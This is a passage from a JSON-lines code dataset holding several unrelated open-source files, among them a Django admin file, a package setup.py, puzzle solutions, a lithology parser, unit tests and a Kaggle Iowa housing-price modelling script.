['name', 'city']\n\tresource_class = HospitalResource\n\nadmin.site.register(Hospital, HospitalAdmin)\n\n\nclass WarehouseAdmin(admin.ModelAdmin):\n\tlist_display = ['id', 'name', 'organization', 'city']\n\t\n\nadmin.site.register(Warehouse, WarehouseAdmin)","repo_name":"afpekmezci/orback","sub_path":"warehouse/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32906897738","text":"from setuptools import setup, find_packages\r\nfrom os import path\r\n\r\nthis_directory = path.abspath(path.dirname(__file__))\r\nwith open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:\r\n long_description = f.read()\r\n \r\nclassifiers = ['Operating System :: Microsoft :: Windows :: Windows 10',\r\n 'License :: OSI Approved :: MIT License',\r\n \"Programming Language :: Python :: 3.8\"]\r\n \r\n\r\n#Calling setup\r\nsetup(\r\n name = 'pycaged',\r\n version = '2.1',\r\n description = 'fetches CAGED microdata / busca microdados do CAGED',\r\n long_description=long_description,\r\n long_description_content_type='text/markdown',\r\n url = '',\r\n author = 'Heitor Caixeta',\r\n author_email = 'heitor.ca.mesquita@gmail.com',\r\n license = 'MIT',\r\n classifiers = classifiers,\r\n keywords = ['caged', 'ibge', 'emprego'],\r\n packages = find_packages(),\r\n include_packages_data = True,\r\n install_requires = ['py7zr','pandas','wget'],\r\n zip_safe = False)\r\n\r\n\r\n\r\n","repo_name":"heitorcmesquita/pycaged","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"5"} +{"seq_id":"6768977329","text":"with open('day10/input.txt', 'r') as file:\n numbers = [int(i) for i in file.read().splitlines()]\n numbers.sort()\n\n numbers.insert(0, 0)\n numbers.append(max(numbers) + 3)\n\n DP = {}\n\n def dp(i):\n if i == len(numbers) - 1:\n return 1\n\n if i in DP:\n return DP[i]\n \n answer = 0\n \n for j in range(i + 1, len(numbers)):\n if numbers[j] - numbers[i] <= 3:\n answer += dp(j)\n \n DP[i] = answer\n return answer\n\n print(\"The answer is: \" + str(dp(0)))","repo_name":"broadbeanprop/advent-of-code-2020","sub_path":"day10/day10part2.py","file_name":"day10part2.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"33908551421","text":"\"\"\"\nThis script uses the cplot function in mpmath to plot the Mandelbrot set.\nBy default, the fp context is used for speed. The mp context could be used\nto improve accuracy at extremely high zoom levels.\n\"\"\"\n\nimport mpmath\nimport cmath\n\nctx = mpmath.fp\n# ctx = mpmath.mp\n\nITERATIONS = 50\nPOINTS = 100000\nESCAPE_RADIUS = 8\n\n# Full plot\nRE = [-2.5, 1.5]\nIM = [-1.5, 1.5]\n\n# A pretty subplot\n#RE = [-0.96, -0.80]\n#IM = [-0.35, -0.2]\n\ndef mandelbrot(z):\n c = z\n for i in xrange(ITERATIONS):\n zprev = z\n z = z*z + c\n if abs(z) > ESCAPE_RADIUS:\n return ctx.exp(1j*(i + 1 - ctx.log(ctx.log(abs(z)))/ctx.log(2)))\n return 0\n\ntry:\n import psyco\n psyco.full()\nexcept ImportError:\n pass\n\nctx.cplot(mandelbrot, RE, IM, points=POINTS, verbose=1)\n","repo_name":"JensGrabner/mpmath-2","sub_path":"demo/mandelbrot.py","file_name":"mandelbrot.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"40540894369","text":"N = int(input())\n\nfor i in range(N):\n alpha = [0]*26\n string = input()\n for j in string:\n if(ord(j.lower())-97>=0):\n alpha[ord(j.lower())-97] += 1\n \n ans = \"\"\n for j in range(0,26):\n if(alpha[j]==0) : ans += chr(j+97)\n \n if len(ans)==0 : print(\"pangram\")\n else : print(\"missing\",ans)","repo_name":"SeungAhSon/Baekjoon","sub_path":"백준/Bronze/11091. 알파벳 전부 쓰기/알파벳 전부 쓰기.py","file_name":"알파벳 전부 쓰기.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"6498868959","text":"\"\"\"\nThis module includes routines to parse unstructured lithology material strings\nand extract a structured list of lithology types and colors.\n\"\"\"\n\nfrom fuzzywuzzy import process\nimport webcolors\n\n\n# Standard lithologic pattern strings\n# https://pubs.usgs.gov/tm/2006/11A02/ (Section 37)\nLITHOLOGY = {\n # Gravel or conglomerate (1st option):\n 601: {'gravel', 'conglomerate'},\n # Gravel or conglomerate (2nd option):\n # 602: {'gravel', 'conglomerate'},\n # Crossbedded gravel or conglomerate:\n 603: {'crossbedded gravel', 'crossbedded conglomerate'},\n # Breccia (1st option):\n 605: {'breccia'},\n # Breccia (2nd option):\n # 606: {'breccia'},\n # Massive sand or sandstone:\n 607: {'massive sand', 'sandstone'},\n # Bedded sand or sandstone:\n 608: {'bedded sand', 'sandstone'},\n # Crossbedded sand or sandstone (1st option):\n 609: {'crossbedded sand', 'crossbedded sandstone'},\n # Crossbedded sand or sandstone (2nd option):\n # 610: {'crossbedded sand', 'sandstone'},\n # Ripple-bedded sand or sandstone:\n 611: {'ripple-bedded sand', 'ripple-bedded sandstone'},\n # Argillaceous or shaly sandstone:\n 612: {'argillaceous sandstone', 'shaly sandstone'},\n # Calcareous sandstone:\n 613: {'calcareous sandstone'},\n # Dolomitic sandstone:\n 614: {'dolomitic sandstone'},\n # Silt, siltstone, or shaly silt:\n 616: {'silt', 'siltstone', 'shaly silt'},\n # Calcareous siltstone:\n 617: {'calcareous siltstone'},\n # Dolomitic siltstone:\n 618: {'dolomitic siltstone'},\n # Sandy or silty shale:\n 619: {'sandy shale', 'silty shale'},\n # Clay or clay shale:\n 620: {'clay', 'clay shale'},\n # Cherty shale:\n 621: {'cherty shale'},\n # Dolomitic shale:\n 622: {'dolomitic shale'},\n # Calcareous shale or marl:\n 623: {'calcareous shale', 'marl'},\n # Carbonaceous shale:\n 624: {'carbonaceous shale'},\n # Oil shale:\n 625: {'oil shale'},\n # Chalk:\n 626: {'chalk'},\n # Limestone:\n 627: {'limestone'},\n # Clastic limestone:\n 628: {'clastic limestone'},\n # Fossiliferous clastic limestone:\n 629: {'fossiliferous clastic limestone'},\n # Nodular or irregularly bedded limestone:\n 630: {'nodular bedded limestone', 'irregularly bedded limestone'},\n # Limestone, irregular (burrow?) fillings of saccharoidal dolomite:\n 631: {'limestone irregular burrow fillings saccharoidal dolomite'},\n # Crossbedded limestone:\n 632: {'crossbedded limestone'},\n # Cherty crossbedded limestone:\n 633: {'cherty crossbedded limestone'},\n # Cherty and sandy crossbedded clastic limestone:\n 634: {'cherty sandy crossbedded clastic limestone'},\n # Oolitic limestone:\n 635: {'oolitic limestone'},\n # Sandy limestone:\n 636: {'sandy limestone'},\n # Silty limestone:\n 637: {'silty limestone'},\n # Argillaceous or shaly limestone:\n 638: {'argillaceous limestone', 'shaly limestone'},\n # Cherty limestone (1st option):\n 639: {'cherty limestone'},\n # Cherty limestone (2nd option):\n # 640: {'cherty limestone'},\n # Dolomitic limestone, limy dolostone, or limy dolomite:\n 641: {'dolomitic limestone', 'limy dolostone', 'limy dolomite'},\n # Dolostone or dolomite:\n 642: {'dolostone', 'dolomite'},\n # Crossbedded dolostone or dolomite:\n 643: {'crossbedded dolostone', 'crossbedded dolomite'},\n # Oolitic dolostone or dolomite:\n 644: {'oolitic dolostone', 'oolitic dolomite'},\n # Sandy dolostone or dolomite:\n 645: {'sandy dolostone', 'sandy dolomite'},\n # Silty dolostone or dolomite:\n 646: {'silty dolostone', 'silty dolomite'},\n # Argillaceous or shaly dolostone or dolomite:\n 647: {'argillaceous dolostone', 'argillaceous dolomite', 'shaly dolostone', 'shaly dolomite'},\n # Cherty dolostone or dolomite:\n 648: {'cherty dolostone', 'cherty dolomite'},\n # Bedded chert (1st option):\n 649: {'bedded chert'},\n # Bedded chert (2nd option):\n # 650: {'bedded chert'},\n # Fossiliferous bedded chert:\n 651: {'fossiliferous bedded chert'},\n # Fossiliferous rock:\n 652: {'fossiliferous rock'},\n # Diatomaceous rock:\n 653: {'diatomaceous rock'},\n # Subgraywacke:\n 654: {'subgraywacke'},\n # Crossbedded subgraywacke:\n 655: {'crossbedded subgraywacke'},\n # Ripple-bedded subgraywacke:\n 656: {'ripple-subgraywacke'},\n # Peat:\n 657: {'peat'},\n # Coal:\n 658: {'coal'},\n # Bony coal or impure coal:\n 659: {'bony coal', 'impure coal'},\n # Underclay:\n 660: {'underclay'},\n # Flint clay:\n 661: {'flint clay'},\n # Bentonite:\n 662: {'bentonite'},\n # Glauconite:\n 663: {'glauconite'},\n # Limonite:\n 664: {'limonite'},\n # Siderite:\n 665: {'siderite'},\n # Phosphatic-nodular rock:\n 666: {'phosphatic-nodular rock'},\n # Gypsum:\n 667: {'gypsum'},\n # Salt:\n 668: {'salt'},\n # Interbedded sandstone and siltstone:\n 669: {'sandstone siltstone'},\n # Interbedded sandstone and shale:\n 670: {'sandstone shale'},\n # Interbedded ripplebedded sandstone and shale:\n 671: {'ripplebedded sandstone shale'},\n # Interbedded shale and silty limestone (shale dominant):\n 672: {'shale silty limestone'},\n # Interbedded shale and limestone (shale dominant) (1st option):\n 673: {'shale limestone'},\n # Interbedded shale and limestone (shale dominant) (2nd option):\n # 674: {'interbedded shale limestone'},\n # Interbedded calcareous shale and limestone (shale dominant):\n 675: {'calcareous shale limestone'},\n # Interbedded silty limestone and shale:\n 676: {'silty limestone shale'},\n # Interbedded limestone and shale (1st option):\n 677: {'limestone shale'},\n # Interbedded limestone and shale (2nd option):\n # 678: {'interbedded limestone shale'},\n # Interbedded limestone and shale (limestone dominant):\n 679: {'limestone' 'shale'},\n # Interbedded limestone and calcareous shale:\n 680: {'limestone calcareous shale'},\n # Till or diamicton (1st option):\n 681: {'till', 'diamicton'},\n # Till or diamicton (2nd option):\n # 682: {'till', 'diamicton'},\n # Till or diamicton (3rd option):\n # 683: {'till', 'diamicton'},\n # Loess (1st option):\n 684: {'loess'},\n # Loess (2nd option):\n # 685: {'loess'},\n # Loess (3rd option):\n # 686: {'loess'},\n # Metamorphism:\n 701: {'metamorphism'},\n # Quartzite:\n 702: {'quartzite'},\n # Slate:\n 703: {'slate'},\n # Schistose or gneissoid granite:\n 704: {'schistose granite', 'gneissoid granite'},\n # Schist:\n 705: {'schist'},\n # Contorted schist:\n 706: {'contorted schist'},\n # Schist and gneiss:\n 707: {'schist gneiss'},\n # Gneiss:\n 708: {'gneiss'},\n # Contorted gneiss:\n 709: {'contorted gneiss'},\n # Soapstone, talc, or serpentinite:\n 710: {'soapstone', 'talc', 'serpentinite'},\n # Tuffaceous rock:\n 711: {'tuffaceous rock'},\n # Crystal tuff:\n 712: {'crystal tuff'},\n # Devitrified tuff:\n 713: {'devitrified tuff'},\n # Volcanic breccia and tuff:\n 714: {'volcanic breccia tuff'},\n # Volcanic breccia or agglomerate:\n 715: {'volcanic breccia', 'agglomerate'},\n # Zeolitic rock:\n 716: {'zeolitic rock'},\n # Basaltic flows:\n 717: {'basaltic flows'},\n # Granite (1st option):\n # 718: {'granite'},\n # Granite (2nd option):\n 719: {'granite'},\n # Banded igneous rock:\n 720: {'banded igneous rock'},\n # Igneous rock (1st option):\n 721: {'igneous rock'},\n # Igneous rock (2nd option):\n # 722: {'igneous rock'},\n # Igneous rock (3rd option):\n # 723: {'igneous rock'},\n # Igneous rock (4th option):\n # 724: {'igneous rock'},\n # Igneous rock (5th option):\n # 725: {'igneous rock'},\n # Igneous rock (6th option):\n # 726: {'igneous rock'},\n # Igneous rock (7th option):\n # 727: {'igneous rock'},\n # Igneous rock (8th option):\n # 728: {'igneous rock'},\n # Porphyritic rock (1st option):\n 729: {'porphyritic rock'},\n # Porphyritic rock (2nd option):\n # 730: {'porphyritic rock'},\n # Vitrophyre:\n 731: {'vitrophyre'},\n # Quartz:\n 732: {'quartz'},\n # Ore:\n 733: {'ore'},\n}\n\nLITH_STRINGS = {\n lith_string: lith_id\n for lith_id, lith_strings in LITHOLOGY.items()\n for lith_string in lith_strings\n}\n\n# Standard, named web colors\nCOLORS = set(webcolors.CSS3_NAMES_TO_HEX.keys())\n\n\ndef _compare_scores(score_a, score_b):\n # a and b are of form: (option, score)\n\n # If the scores are the same, give preference to the option with a longer\n # length - which should be more \"specific\".\n if score_a[1] == score_b[1]:\n return len(score_a[0]) - len(score_b[0])\n\n return score_a[1] - score_b[1]\n\n\ndef classify_material(words):\n \"\"\"\n Returns a list of lithology classifications given a textual description.\n\n :param list words: array of free-form words describing a material\n :return: list of material classifications\n :rtype: list\n \"\"\"\n\n if not words:\n return []\n\n material_string = ' '.join(words)\n matches = process.extract(\n material_string,\n LITH_STRINGS.keys(),\n limit=10\n )\n\n # Return the lithology IDs of the highest-ranked scores, without duplicates\n materials = []\n for match in matches:\n material = LITH_STRINGS[match[0]]\n if material not in materials:\n materials.append(material)\n if len(materials) == 5:\n break\n\n return materials\n\n\ndef get_colors(words):\n return [\n webcolors.CSS3_NAMES_TO_HEX[color]\n for color in COLORS & set(words)\n ]\n","repo_name":"ACWI-SOGW/ngwmn-ui","sub_path":"server/ngwmn/services/lithology_parser.py","file_name":"lithology_parser.py","file_ext":"py","file_size_in_byte":9601,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"32656278320","text":"\"\"\"HOME CREDIT COMPETITION 2018\"\"\"\n\ndebug_cfg = {'DEBUG': True,\n 'choose_debug_on_gpu_availability': False,\n 'n_debug': 10000,\n }\n\ndata_cfg = {\n 'file_path': \"data/input/measures.csv\",\n 'db_path': 'data/results.db',\n 'save_predictions': True,\n }\n\n\nplot_cfg = {'do_plot': False, }\n\nkeras_cfg = {\n 'early_stop_patience': 30,\n 'use_cpu': False,\n\n 'params': {\n 'batch_size': 64,\n 'n_layers': 1,\n 'n_units': 64,\n 'epochs': 50,\n 'arch': 'gru', # gru, lstm or rnn\n 'kernel_reg': 1e-2,\n 'activity_reg': 1e-2,\n 'recurrent_reg': 1e-2,\n },\n 'hp_skopt_space': {\n 'arch': ['lstm', 'gru'],\n 'epochs': [100, 150, 200],\n 'n_layers': (1, 5),\n 'n_units': (4, 2048),\n 'kernel_reg': (1e-9, 1e-1, 'log-uniform'),\n 'activity_reg': (1e-9, 1e-1, 'log-uniform'),\n 'recurrent_reg': (1e-9, 1e-1, 'log-uniform'),\n 'dropout_rate': (0.3, 0.7, 'uniform'),\n 'optimizer': ['adam', 'nadam', 'adamax', 'sgd', 'rmsprop']\n },\n\n}\n\nlgbm_cfg = {\n 'params': {\n 'learning_rate':0.03,\n 'num_leaves':30,\n 'colsample_bytree':.8,\n 'subsample':.9,\n 'max_depth':7,\n 'reg_alpha':.1,\n 'reg_lambda':.1,\n 'min_split_gain':.01,\n 'min_child_weight':2,\n 'silent':True,\n 'verbose':-1,\n 'random_state': 10\n },\n # These found params are shit\n 'params_found_by_skopt_run_1': { # takes long, mean_auc = 0.766\n 'max_depth': 8,\n 'random_state': 2974,\n 'scale_pos_weight': 0.000396,\n 'learning_rate': 0.013,\n 'min_child_weight': 0.1021,\n 'colsample_bytree': 0.3516,\n 'num_leaves': 64,\n 'min_child_samples': 1,\n 'reg_alpha': 4.93e-07,\n 'n_estimators': 3110,\n 'subsample_freq': 2,\n 'reg_lambda': 4.0e-07,\n 'subsample': 0.881\n },\n\n 'hp_skopt_space': {\n 'learning_rate': (0.01, 1.0, 'log-uniform'),\n 'num_leaves': (16, 128),\n 'max_depth': (2, 9),\n 'min_child_weight': (0.01, 100, 'log-uniform'),\n 'min_child_samples': (1, 50),\n 'subsample': (0.01, 1.0, 'uniform'),\n 'subsample_freq': (0, 10),\n 'colsample_bytree': (0.01, 1.0, 'uniform'),\n 'random_state': (2000, 3000), # arbitrary\n 'reg_lambda': (1e-6, 0.2, 'log-uniform'),\n 'reg_alpha': (1e-6, 0.2, 'log-uniform'),\n 'scale_pos_weight': (1e-6, 10000, 'log-uniform'),\n 'min_split_gain': (1e-5, 0.1, 'log-uniform'),\n\n },\n\n}\n\nskopt_cfg = {\n 'n_iter': 100\n}\n\n","repo_name":"wkirgsn/home-credit-competition","sub_path":"preprocessing/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"8443316072","text":"import pytest\nfrom attr.exceptions import FrozenInstanceError\n\nfrom mindmeld.components.request import FrozenParams, Params, Request\nfrom mindmeld.app_manager import freeze_params\nfrom immutables import Map\n\n\n@pytest.fixture\ndef sample_request():\n dict_list = [{\"key\": \"value\"}, {\"key\": \"value\"}, {\"key\": \"value\"}]\n dict_list_of_lists = [[{\"key\": \"value\"}, {\"key\": \"value\"}, {\"key\": \"value\"}],\n [{\"key\": \"value\"}, {\"key\": \"value\"}, {\"key\": \"value\"}]]\n lists = ['key_1', 'key_2', 'key_3']\n return Request(\n domain=\"some_domain\",\n intent=\"some_intent\",\n entities=dict_list,\n text=\"some_text\",\n history=dict_list,\n nbest_transcripts_text=lists,\n nbest_transcripts_entities=dict_list_of_lists,\n nbest_aligned_entities=dict_list_of_lists,\n )\n\n\ndef test_domain(sample_request):\n with pytest.raises(FrozenInstanceError):\n sample_request.domain = \"new_domain\"\n\n\ndef test_intent(sample_request):\n with pytest.raises(FrozenInstanceError):\n sample_request.intent = \"new_intent\"\n\n\ndef test_entities(sample_request):\n with pytest.raises(FrozenInstanceError):\n sample_request.entities = (\"some_entity\",)\n assert_tuple_of_immutable_maps(sample_request.entities)\n\n\ndef test_history(sample_request):\n for x in sample_request.history:\n assert isinstance(x, Map)\n assert_tuple_of_immutable_maps(sample_request.history)\n\n\ndef test_text(sample_request):\n with pytest.raises(FrozenInstanceError):\n sample_request.text = \"some_text\"\n\n\ndef test_frame(sample_request):\n with pytest.raises(FrozenInstanceError):\n sample_request.frame = {\"key\": \"value\"}\n\n\ndef test_params(sample_request):\n with pytest.raises(FrozenInstanceError):\n sample_request.params = {\"key\": \"value\"}\n\n\ndef test_context(sample_request):\n with pytest.raises(FrozenInstanceError):\n sample_request.context = {\"key\": \"value\"}\n\n\ndef test_nbest(sample_request):\n with pytest.raises(FrozenInstanceError):\n sample_request.confidences = {\"key\": \"value\"}\n\n with pytest.raises(FrozenInstanceError):\n sample_request.nbest_transcripts_text = [\"some_text\", \"some_text_2\"]\n assert isinstance(sample_request.nbest_transcripts_text, tuple)\n\n with pytest.raises(FrozenInstanceError):\n sample_request.nbest_transcripts_entities = [[{\"key\": \"value\"}], [{\"key\": \"value\"}]]\n assert_tuple_of_tuple_of_immutable_maps(sample_request.nbest_transcripts_entities)\n\n with pytest.raises(FrozenInstanceError):\n sample_request.nbest_aligned_entities = [[{\"key\": \"value\"}], [{\"key\": \"value\"}]]\n assert_tuple_of_tuple_of_immutable_maps(sample_request.nbest_aligned_entities)\n\n\ndef assert_tuple_of_immutable_maps(tuple_of_immutable_maps):\n for idx, immutable_map in enumerate(tuple_of_immutable_maps):\n with pytest.raises(TypeError):\n tuple_of_immutable_maps[idx] = {\"key\": \"value\"}\n assert isinstance(immutable_map, Map)\n with pytest.raises(TypeError):\n immutable_map[\"key\"] = \"value\"\n\n\ndef assert_tuple_of_tuple_of_immutable_maps(tuple_of_tuple_of_immutable_maps):\n assert isinstance(tuple_of_tuple_of_immutable_maps, tuple)\n for idx_1, tuple_of_immutable_maps in enumerate(tuple_of_tuple_of_immutable_maps):\n assert_tuple_of_immutable_maps(tuple_of_immutable_maps)\n\n\ndef test_immutability_of_sample_request_and_params():\n \"\"\"Test the immutability of the sample_request and params objects\"\"\"\n with pytest.raises(FrozenInstanceError):\n params = FrozenParams()\n params.allowed_intents = []\n\n with pytest.raises(TypeError):\n params = FrozenParams()\n params.dynamic_resource[\"a\"] = \"b\"\n\n with pytest.raises(FrozenInstanceError):\n request = Request()\n request.params = Params()\n\n with pytest.raises(TypeError):\n request = Request()\n request.frame[\"a\"] = \"b\"\n\n\n@pytest.mark.parametrize(\n \"allowed_intents, target_dialogue_state, time_zone, timestamp, language, locale, \"\n \"dynamic_resource\",\n [\n (\n [\"some-intents\", \"some-intents-2\"],\n \"some-state\",\n \"America/Los_Angeles\",\n \"1234\",\n \"en\",\n \"en_US\",\n {\"resource\": \"dynamic\"},\n )\n ],\n)\ndef test_serialization_params(\n allowed_intents,\n target_dialogue_state,\n time_zone,\n timestamp,\n language,\n locale,\n dynamic_resource,\n):\n params = Params()\n params.allowed_intents = allowed_intents\n params.target_dialogue_state = target_dialogue_state\n params.time_zone = time_zone\n params.timestamp = timestamp\n params.language = language\n params.locale = locale\n params.dynamic_resource = Map(dynamic_resource)\n dict_result = dict(params)\n assert allowed_intents == dict_result[\"allowed_intents\"]\n assert target_dialogue_state == dict_result[\"target_dialogue_state\"]\n assert time_zone == dict_result[\"time_zone\"]\n assert timestamp == dict_result[\"timestamp\"]\n assert language == dict_result[\"language\"]\n assert locale == dict_result[\"locale\"]\n assert dynamic_resource == dict_result[\"dynamic_resource\"]\n\n\n@pytest.mark.parametrize(\n \"allowed_intents, target_dialogue_state, time_zone, timestamp, language, locale, \"\n \"dynamic_resource\",\n [\n (\n [\"some-intents\", \"some-intents-2\"],\n \"some-state\",\n \"America/Los_Angeles\",\n \"1234\",\n \"en\",\n \"en_US\",\n {\"resource\": \"dynamic\"},\n )\n ],\n)\ndef test_serialization_frozen_params(\n allowed_intents,\n target_dialogue_state,\n time_zone,\n timestamp,\n language,\n locale,\n dynamic_resource,\n):\n params = Params()\n params.allowed_intents = allowed_intents\n params.target_dialogue_state = target_dialogue_state\n params.time_zone = time_zone\n params.timestamp = timestamp\n params.language = language\n params.locale = locale\n params.dynamic_resource = Map(dynamic_resource)\n frozen_params = freeze_params(params)\n dict_result = dict(frozen_params)\n assert allowed_intents == dict_result[\"allowed_intents\"]\n assert target_dialogue_state == dict_result[\"target_dialogue_state\"]\n assert time_zone == dict_result[\"time_zone\"]\n assert timestamp == dict_result[\"timestamp\"]\n assert language == dict_result[\"language\"]\n assert locale == dict_result[\"locale\"]\n assert dynamic_resource == dict_result[\"dynamic_resource\"]\n","repo_name":"cisco/mindmeld","sub_path":"tests/test_request.py","file_name":"test_request.py","file_ext":"py","file_size_in_byte":6492,"program_lang":"python","lang":"en","doc_type":"code","stars":645,"dataset":"github-code","pt":"29"} +{"seq_id":"24481222668","text":"import unittest\nimport json\nimport speech_recognition as sr\n\n\nclass CommandRecognitionTest(unittest.TestCase):\n\n \n with open('Link.json', 'r', encoding='utf-8') as f:\n commands = json.load(f)\n\n def recognize_audio(self, audio_file):\n \n r = sr.Recognizer()\n with sr.AudioFile(audio_file) as source:\n audio = r.record(source)\n return r.recognize_google(audio, language='pt-BR')\n\n def test_maior_economia(self):\n audio_file = 'Maior_economia.wav'\n expected_response = 'Estados Unidos'\n transcribed_text = self.recognize_audio(audio_file)\n response = self.find_command(transcribed_text)\n self.assertEqual(response, expected_response)\n\n def test_maior_bloco(self):\n audio_file = 'Maior_bloco.wav'\n expected_response = 'União Europeia'\n transcribed_text = self.recognize_audio(audio_file)\n response = self.find_command(transcribed_text)\n self.assertEqual(response, expected_response)\n\n def test_maior_queda(self):\n audio_file = 'Maior_queda.wav'\n expected_response = 'Venezuela'\n transcribed_text = self.recognize_audio(audio_file)\n response = self.find_command(transcribed_text)\n self.assertEqual(response, expected_response)\n\n def test_maior_alta(self):\n audio_file = 'Maior_alta.wav'\n expected_response = 'Níger'\n transcribed_text = self.recognize_audio(audio_file)\n response = self.find_command(transcribed_text)\n self.assertEqual(response, expected_response)\n\n def test_pib_global(self):\n audio_file = 'Pib_global_1.wav'\n expected_response = '87,65 trilhões USD (2019)'\n transcribed_text = self.recognize_audio(audio_file)\n response = self.find_command(transcribed_text)\n self.assertEqual(response, expected_response)\n\n @staticmethod\n def tokenize_question(question):\n \n #Tokeniza as perguntas\n \n return question.lower().split()\n\n def find_command(self, question):\n \n #Encontra o comando \n \n tokens = self.tokenize_question(question)\n for cmd, data in self.commands.items():\n cmd_tokens = self.tokenize_question(cmd)\n if set(cmd_tokens).issubset(set(tokens)):\n return data\n return \"Comando não reconhecido!\"\n\n\nif __name__ == '__main__':\n unittest.main(exit=False)\n","repo_name":"robsonramos756/Economico","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5577140065","text":"from odoo import api, fields, models, tools\n\n\nclass ProductProduct(models.Model):\n _inherit = 'product.product'\n\n image_variant_medium = fields.Binary(\n \"Variant Image Medium (Computed)\",\n compute='_compute_variant_image',\n help=\"This field holds the image used as image for the product variant\"\n \"or product image medium, limited to 512x512px.\",\n )\n\n image_variant_big = fields.Binary(\n \"Variant Image Big (Computed)\",\n compute='_compute_variant_image',\n help=\"This field holds the image used as image for the product variant\"\n \"or product image, limited to 1024x1024px.\",\n )\n\n @api.depends('image_variant', 'product_tmpl_id.image')\n def _compute_variant_image(self):\n for record in self:\n if record.image_variant:\n resized_images = tools.image_get_resized_images(\n record.image_variant,\n return_big=False,\n return_small=False,\n avoid_resize_medium=True)\n record.image_variant_medium = resized_images['image_medium']\n record.image_variant_big = record.image_variant\n else:\n record.image_variant_medium = record.product_tmpl_id.image_medium\n record.image_variant_big = record.product_tmpl_id.image\n","repo_name":"decodio/oca12","sub_path":"web_widget_one2many_product_picker/models/product_product.py","file_name":"product_product.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"70382881358","text":"import json\nimport os\n\nlocale = \"_locale.json\"\n\n\ndef get_all_eys():\n dire = [\"./\", \"./screens\", \"./settings/screens\", \"./settings/subscreens\", \"./ctrls\", \"./generator_libs\"]\n files = []\n\n for i in dire:\n all_fs = os.listdir(i)\n # print(all_fs)\n fs = [os.path.join(i,f) for f in all_fs if f not in [locale, __file__]\n and (\".kv\" in f or \".py\" in f) and os.path.isfile(os.path.join(i,f))]\n files.extend(fs)\n\n keys = {}\n func_str = \"get_local_str(\"\n func_str_2 = \"get_local_str_util(\"\n \n for file_name in files:\n with open(file_name, \"r\", encoding='raw_unicode_escape') as fp:\n for i in fp.readlines():\n f_spli = None\n x = None\n if func_str in i:\n f_spli = i.split(func_str)\n if func_str_2 in i:\n x= True\n f_spli = i.split(func_str_2)\n\n if f_spli is not None:\n for j in f_spli:\n if \")\" in j:\n fin_key = j.strip().split(\")\")[0]\n\n if fin_key[1] == \"_\":\n fin_key = fin_key.replace(\"\\\"\", \"\").replace(\"'\", \"\")\n\n keys[fin_key] = {\n \"en\": fin_key,\n \"ru\": fin_key\n }\n fp.close()\n\n return keys\n\n\ndef get_current_keys():\n with open(locale, \"r\", encoding='utf-8') as f:\n keys = json.loads(f.read().encode('utf-8').decode())\n f.close()\n return keys\n\n\nif __name__ == \"__main__\":\n cur_keys = get_current_keys()\n all_keys = get_all_eys()\n\n for k, v in cur_keys.items():\n all_keys[k] = v\n\n with open(locale, \"w\") as fp:\n json.dump(all_keys, fp, ensure_ascii=False)\n fp.close()\n\n","repo_name":"Tenfleques/eyetracker","sub_path":"gis-eyetracker/helpers/get_locale_keys.py","file_name":"get_locale_keys.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17809255928","text":"#%%\n'''\n Kaggle's Intro to Machine Learning\n'''\n\nimport pandas as pd\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeRegressor\n\n\n# Path of the file to read\niowa_file_path = './iowa_housing/AmesHousing.csv'\n\nhome_data = pd.read_csv(iowa_file_path)\n# Create target object and call it y\ny = home_data.SalePrice\n# Create X\nfeatures = ['Lot Area', 'Year Built', '1st Flr SF', '2nd Flr SF', 'Full Bath', 'Bedroom AbvGr', 'TotRms AbvGrd']\nX = home_data[features]\n\n# Split into validation and training data\ntrain_X, val_X, train_y, val_y = train_test_split(X, y, random_state=1)\n\n# Specify Model\niowa_model = DecisionTreeRegressor(random_state=1)\n# Fit Model\niowa_model.fit(train_X, train_y)\n\n# Make validation predictions and calculate mean absolute error\nval_predictions = iowa_model.predict(val_X)\nval_mae = mean_absolute_error(val_predictions, val_y)\nprint(\"Validation MAE: {:,.0f}\".format(val_mae))\n# %%\n\ndef get_mae(max_leaf_nodes, train_X, val_X, train_y, val_y):\n model = DecisionTreeRegressor(max_leaf_nodes=max_leaf_nodes, random_state=0)\n model.fit(train_X, train_y)\n preds_val = model.predict(val_X)\n mae = mean_absolute_error(val_y, preds_val)\n return(mae)\n\ncandidate_max_leaf_nodes = [5, 25, 50, 100, 250, 500]\n# Write loop to find the ideal tree size from candidate_max_leaf_nodes\ndata = {}\nfor max_leaf_nodes in candidate_max_leaf_nodes:\n mae = get_mae(max_leaf_nodes, train_X, val_X, train_y, val_y)\n data[max_leaf_nodes] = mae\n\nsmallest_val = min(zip(data.values(), data.keys()))\n\n# Store the best value of max_leaf_nodes (it will be either 5, 25, 50, 100, 250 or 500)\nbest_tree_size = smallest_val[1]\n\n# %%\n\n# Fill in argument to make optimal size and uncomment\nfinal_model = DecisionTreeRegressor(max_leaf_nodes=best_tree_size, random_state=0)\n\n# fit the final model and uncomment the next two lines\nfinal_model.fit(X, y)\n# %%\n\n# Using Random Forest model\n\nfrom sklearn.ensemble import RandomForestRegressor\n\n# Define the model. Set random_state to 